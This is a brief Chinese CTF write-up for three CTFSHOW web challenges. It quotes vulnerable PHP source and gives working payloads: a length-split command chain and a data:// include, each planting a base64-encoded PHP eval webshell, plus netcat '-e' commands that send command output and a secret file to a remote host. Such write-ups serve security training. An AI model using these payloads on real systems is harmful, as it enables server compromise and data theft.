web签到
打开后发现可以进行命令执行操作,但是是无任何回显的,这里的话我们可以直接进行命令执行
payload:nl /*>1
方法二、
>hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0 //echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
详细链接:https://blog.csdn.net/jvkyvly/article/details/115259867?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165978793616782395318329%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165978793616782395318329&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-115259867-null-null.142%5Ev39%5Epc_rank_34,185%5Ev2%5Etag_show&utm_term=ctf%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E9%99%90%E5%88%B6%E9%95%BF%E5%BA%A6&spm=1018.2226.3001.4187
easy_calc
<?php if(check($code)){ eval('$result='."$code".";"); echo($result); } function check(&$code){ $num1=$_POST['num1']; $symbol=$_POST['symbol']; $num2=$_POST['num2']; if(!isset($num1) || !isset($num2) || !isset($symbol) ){ return false; } if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){ return false; } if(preg_match("/^[\+\-\*\/]$/", $symbol)){ $code = "$num1$symbol$num2"; return true; } return false; }
查看源码可以看到eval进行了命令执行的操作,但是过滤了(,所以普通的函数我们无法调用。php中不用括号使用的函数,叫做语言结构,常见的有include、require、echo。所以这里我们可以用文件包含。
Payload:num1=include "data:/&symbol=/&num2=text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7"
easy_cmd
<?php error_reporting(0); highlight_file(__FILE__); $cmd=$_POST['cmd']; if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){ exec(escapeshellcmd($cmd)); } ?>
可以看到这里直接进行命令执行。
这里的话直接用nc将命令结果外带出来。
cmd=nc ip port -e ls /
cmd=nc ip port -e /secret
标签:web,return,E5%,2522%,symbol,cmd,CTFSHOW,wp From: https://www.cnblogs.com/kode00/p/17741440.html